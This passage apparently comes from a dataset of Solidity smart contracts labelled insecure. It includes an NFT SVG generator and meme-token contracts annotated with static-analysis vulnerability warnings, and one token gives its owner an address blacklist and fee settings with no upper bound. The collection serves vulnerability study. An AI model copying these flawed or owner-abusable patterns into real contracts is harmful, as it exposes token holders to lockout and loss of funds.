mint(uint256 tokenId) public nonReentrant {\n require(\n tokenId > 0 && tokenId < 8889,\n \"FriendlyFractalsN: Token ID invalid\"\n );\n require(\n InterfaceN(addressN).ownerOf(tokenId) == _msgSender(),\n \"FriendlyFractalsN: Must own respective N\"\n );\n\n _safeMint(_msgSender(), tokenId);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n return tokenSVGFromSeed(tokenId);\n }\n\n function tokenSVGFromSeed(\n uint256 tokenId\n ) internal view returns (string memory) {\n uint256 numIterations = 6;\n\n string[4] memory vars = [\"1000000\", \"1000000\", \"1000000\", \"1000000\"];\n\n uint256 typea = InterfaceN(addressN).getSixth(tokenId) % 9;\n uint256 typeb = InterfaceN(addressN).getSeventh(tokenId) % 9;\n uint256 typec = InterfaceN(addressN).getEight(tokenId) % 9;\n\n uint256[] memory data = new uint256[](2 ** (numIterations + 1) - 1);\n\n data[0] = compact(35000, 35000, 30000, 30000);\n for (uint256 i = 0; i < 2 ** numIterations - 1; i++) {\n if (i < 3) {\n data[2 * i + 1] = getChildData(data[i], true, typea);\n data[2 * i + 2] = getChildData(data[i], false, typea);\n } else if (i < 15) {\n data[2 * i + 1] = getChildData(data[i], true, typeb);\n data[2 * i + 2] = getChildData(data[i], false, typeb);\n } else {\n data[2 * i + 1] = getChildData(data[i], true, typec);\n data[2 * i + 2] = getChildData(data[i], false, typec);\n }\n }\n\n bytes memory result = new bytes(84 * (2 ** numIterations) + 580);\n bytes memory cur;\n assembly {\n cur := add(result, 32)\n }\n uint256 totallen = 0;\n uint256 linelen;\n\n bytes memory head = getHeadString(tokenId);\n (linelen, cur) = copyString(cur, head);\n totallen += linelen;\n\n for (uint256 i = 2 ** numIterations - 1; i < data.length; i++) {\n bytes memory curLine = getCurLine(data, i, vars);\n (linelen, cur) = copyString(cur, curLine);\n totallen += linelen;\n }\n\n (linelen, cur) = copyString(cur, uriTail);\n totallen += linelen;\n\n assembly {\n mstore(result, totallen)\n }\n\n return string(result);\n }\n\n function getChildData(\n uint256 data,\n bool leftChild,\n uint256 curtype\n ) internal view returns (uint256) {\n int256 x;\n int256 y;\n int256 dx;\n int256 dy;\n\n (x, y, dx, dy) = expand(data);\n\n int256 sqrt2a = 14142;\n int256 sqrt2b = 10000;\n\n int256 dx1;\n int256 dy1;\n int256 dx2;\n int256 dy2;\n\n assembly {\n dx1 := sdiv(\n mul(\n sub(\n sdiv(mul(dx, sqrt2b), sqrt2a),\n sdiv(mul(dy, sqrt2b), sqrt2a)\n ),\n sqrt2b\n ),\n sqrt2a\n )\n dy1 := sdiv(\n mul(\n add(\n sdiv(mul(dx, sqrt2b), sqrt2a),\n sdiv(mul(dy, sqrt2b), sqrt2a)\n ),\n sqrt2b\n ),\n sqrt2a\n )\n dx2 := sdiv(\n mul(\n add(\n sdiv(mul(dx, sqrt2b), sqrt2a),\n sdiv(mul(dy, sqrt2b), sqrt2a)\n ),\n sqrt2b\n ),\n sqrt2a\n )\n dy2 := sdiv(\n mul(\n add(\n sdiv(mul(add(1, not(dx)), sqrt2b), sqrt2a),\n sdiv(mul(dy, sqrt2b), sqrt2a)\n ),\n sqrt2b\n ),\n sqrt2a\n )\n }\n\n if (\n (leftChild && (curtype == 3)) ||\n (!leftChild && (curtype == 0 || curtype == 4 || curtype == 8))\n ) {\n assembly {\n x := add(x, dx)\n y := add(y, dy)\n }\n } else if (\n curtype == 6 || (!leftChild && (curtype == 1 || curtype == 3))\n ) {\n assembly {\n x := add(x, dx1)\n y := add(y, dy1)\n }\n } else if (\n !leftChild && (curtype == 2 || curtype == 5 || curtype == 7)\n ) {\n assembly {\n x := add(x, dx2)\n y := add(y, dy2)\n }\n }\n\n if (\n (leftChild &&\n (curtype == 0 ||\n curtype == 1 ||\n curtype == 4 ||\n curtype == 5 ||\n curtype == 7)) ||\n (!leftChild && (curtype == 2 || curtype == 5))\n ) {\n dx = dx1;\n dy = dy1;\n } else if (\n (leftChild && (curtype == 6)) ||\n (!leftChild && (curtype == 3 || curtype == 4))\n ) {\n assembly {\n dx := add(1, not(dx1))\n dy := add(1, not(dy1))\n }\n } else if (\n (leftChild && (curtype == 2 || curtype == 8)) ||\n (!leftChild && (curtype == 1 || curtype == 6))\n ) {\n dx = dx2;\n dy = dy2;\n } else if (\n (leftChild && (curtype == 3)) ||\n (!leftChild && (curtype == 0 || curtype == 7 || curtype == 8))\n ) {\n assembly {\n dx := add(1, not(dx2))\n dy := add(1, not(dy2))\n }\n }\n\n return compact(x, y, dx, dy);\n }\n\n function compact(\n int256 x,\n int256 y,\n int256 dx,\n int256 dy\n ) internal pure returns (uint256) {\n uint256 result = 0;\n result |= uint256(dy & 0xffffffff);\n result = result << 32;\n result |= uint256(dx & 0xffffffff);\n result = result << 32;\n result |= uint256(y & 0xffffffff);\n result = result << 32;\n result |= uint256(x & 0xffffffff);\n\n return result;\n }\n\n function expand(\n uint256 vars\n ) internal pure returns (int256 x, int256 y, int256 dx, int256 dy) {\n x = int256(int32(uint32(vars)));\n vars = vars >> 32;\n y = int256(int32(uint32(vars)));\n vars = vars >> 32;\n dx = int256(int32(uint32(vars)));\n vars = vars >> 32;\n dy = int256(int32(uint32(vars)));\n }\n\n function uintToString(uint256 v) public pure returns (string memory) {\n uint256 maxlength = 8;\n bytes memory reversed = new bytes(maxlength);\n uint256 i = 0;\n while (v != 0) {\n uint256 remainder = v % 10;\n v = v / 10;\n reversed[i++] = bytes1(uint8(48 + remainder));\n }\n bytes memory s = new bytes(i);\n for (uint256 j = 0; j < i; j++) {\n s[j] = reversed[i - j - 1];\n }\n string memory str = string(s);\n return str;\n }\n\n function getHeadString(\n uint256 tokenId\n ) internal view returns (bytes memory) {\n uint256 strokeWidth = 100 +\n 100 *\n InterfaceN(addressN).getFifth(tokenId);\n\n return\n abi.encodePacked(\n uriHead1,\n \"%23\",\n uintToString(tokenId),\n uriHead2,\n uintToString(strokeWidth),\n \"%3B%20\",\n getColorString(tokenId),\n uriHead3\n );\n }\n\n function getColorString(\n uint256 tokenId\n ) internal view returns (bytes memory) {\n uint256 color_h = Math.min(InterfaceN(addressN).getFirst(tokenId), 10) *\n 33 +\n Math.min(Math.max(InterfaceN(addressN).getSecond(tokenId), 1), 10) *\n 3;\n uint256 color_s = 30 +\n Math.min(InterfaceN(addressN).getThird(tokenId), 10) *\n 7;\n uint256 color_l = 20 +\n Math.min(InterfaceN(addressN).getFourth(tokenId), 10) *\n 6;\n\n return\n abi.encodePacked(\n \"stroke%3Ahsl(\",\n uintToString(color_h),\n \"%2C\",\n uintToString(color_s),\n \"%25%2C\",\n uintToString(color_l),\n \"%25)%3B\"\n );\n }\n\n function copyString(\n bytes memory curPosition,\n bytes memory strToCopy\n ) internal view returns (uint256 linelen, bytes memory resPosition) {\n uint256 numloops = (strToCopy.length + 31) / 32;\n linelen = strToCopy.length;\n resPosition = curPosition;\n\n assembly {\n for {\n let j := 0\n } lt(j, numloops) {\n j := add(1, j)\n } {\n mstore(\n add(resPosition, mul(32, j)),\n mload(add(strToCopy, mul(32, add(1, j))))\n )\n }\n resPosition := add(resPosition, linelen)\n }\n }\n\n function getCurLine(\n uint256[] memory data,\n uint256 index,\n string[4] memory vars\n ) internal view returns (bytes memory) {\n uint256 remainder;\n int256 x;\n int256 y;\n int256 dx;\n int256 dy;\n (x, y, dx, dy) = expand(data[index]);\n\n uint256 curdigit;\n uint256 numdigits;\n string memory stringStart;\n\n for (uint256 i = 0; i < 4; i++) {\n curdigit = 0;\n numdigits = 0;\n uint256 num;\n if (i == 0) {\n num = uint256(x);\n } else if (i == 1) {\n num = uint256(y);\n } else if (i == 2) {\n num = uint256(x + dx);\n } else {\n num = uint256(y + dy);\n }\n\n assembly {\n stringStart := mload(add(vars, mul(32, i)))\n }\n\n uint256 numcopy = num;\n\n assembly {\n for {} gt(numcopy, 0) {\n numcopy := div(numcopy, 10)\n } {\n numdigits := add(numdigits, 1)\n }\n }\n\n assembly {\n for {} gt(num, 0) {\n num := div(num, 10)\n } {\n remainder := add(mod(num, 10), 48)\n mstore8(\n add(stringStart, add(31, sub(numdigits, curdigit))),\n remainder\n )\n curdigit := add(curdigit, 1)\n }\n }\n\n assembly {\n mstore(stringStart, curdigit)\n }\n }\n\n return\n abi.encodePacked(\n \"%3Cline%20x1%3D'\",\n vars[0],\n \"'%20y1%3D'\",\n vars[1],\n \"'%20x2%3D'\",\n vars[2],\n \"'%20y2%3D'\",\n vars[3],\n \"'%20%2F%3E\"\n );\n }\n}",
"file_name": "solidity_code_3121.sol",
"secure": 0,
"size_bytes": 14720
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract XGenerate is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"XGenerate \", \" $XGEN) \") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: dc7b11b): XGenerate.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for dc7b11b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 9c6e8b2): XGenerate.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for 9c6e8b2: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: dc7b11b\n\t\t// incorrect-equality | ID: 9c6e8b2\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: dc7b11b\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e455c4d): XGenerate._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for e455c4d: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: e455c4d\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fabcb13): XGenerate.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for fabcb13: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: fabcb13\n pool = poolAddress;\n }\n}",
"file_name": "solidity_code_3122.sol",
"secure": 0,
"size_bytes": 2805
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract GMPEPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"GM Pepe\";\n string private constant _symbol = \"GMPepe\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 420690000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 1;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 1;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 4ef829f): GMPEPE._developmentAddress should be constant \n\t// Recommendation for 4ef829f: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x221D429A8c8894Bf296470233AA6ccCf5E641D58);\n\t// WARNING Optimization Issue (constable-states | ID: 9d0099f): GMPEPE._marketingAddress should be constant \n\t// Recommendation for 9d0099f: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x221D429A8c8894Bf296470233AA6ccCf5E641D58);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5a26720): GMPEPE.uniswapV2Router should be immutable \n\t// Recommendation for 5a26720: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 1233629): GMPEPE.uniswapV2Pair should be immutable \n\t// Recommendation for 1233629: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 12620700000000 * 10 ** 9;\n uint256 public _maxWalletSize = 12620700000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 4206900000000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 08dfa44): GMPEPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 08dfa44: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 00ecd27): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 00ecd27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aca4216): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aca4216: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 00ecd27\n\t\t// reentrancy-benign | ID: aca4216\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 00ecd27\n\t\t// reentrancy-benign | ID: aca4216\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: a29779a\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: a29779a\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: a29779a\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: a29779a\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: a29779a\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: a29779a\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 93afa70): GMPEPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 93afa70: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: aca4216\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 00ecd27\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: df1a601): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for df1a601: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a29779a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a29779a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 347ed95): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 347ed95: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: df1a601\n\t\t\t\t// reentrancy-benign | ID: a29779a\n\t\t\t\t// reentrancy-eth | ID: 347ed95\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: df1a601\n\t\t\t\t\t// reentrancy-eth | ID: 347ed95\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: a29779a\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: a29779a\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: a29779a\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: a29779a\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: df1a601\n\t\t// reentrancy-benign | ID: a29779a\n\t\t// reentrancy-eth | ID: 347ed95\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 00ecd27\n\t\t// reentrancy-events | ID: df1a601\n\t\t// reentrancy-benign | ID: aca4216\n\t\t// reentrancy-benign | ID: a29779a\n\t\t// reentrancy-eth | ID: 347ed95\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 00ecd27\n\t\t// reentrancy-events | ID: df1a601\n\t\t// reentrancy-eth | ID: 347ed95\n _marketingAddress.transfer(amount);\n }\n\n function openTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 347ed95\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 347ed95\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: df1a601\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 347ed95\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 347ed95\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: a29779a\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9a20236): Missing events for critical arithmetic parameters.\n\t// Recommendation for 9a20236: Emit an event for critical parameter changes.\n function changeFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 9a20236\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 9a20236\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: 9a20236\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 9a20236\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c6dfcbb): GMPEPE.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for c6dfcbb: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: c6dfcbb\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ea34468): GMPEPE.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for ea34468: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: ea34468\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 34f604b): GMPEPE.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 34f604b: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 34f604b\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_3123.sol",
"secure": 0,
"size_bytes": 20046
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract CowWorshipper is Ownable {\n mapping(address => uint256) private sfjw;\n\n mapping(address => uint256) private pxfnocmuglre;\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 125d181): CowWorshipper.totalSupply should be constant \n\t// Recommendation for 125d181: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fa47d2): CowWorshipper.name should be constant \n\t// Recommendation for 3fa47d2: Add the 'constant' attribute to state variables that never change.\n string public name = \"Cow Worshipper\";\n\n\t// WARNING Optimization Issue (constable-states | ID: fada0b4): CowWorshipper.decimals should be constant \n\t// Recommendation for fada0b4: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ff7ff2): CowWorshipper.yzanwxiq should be constant \n\t// Recommendation for 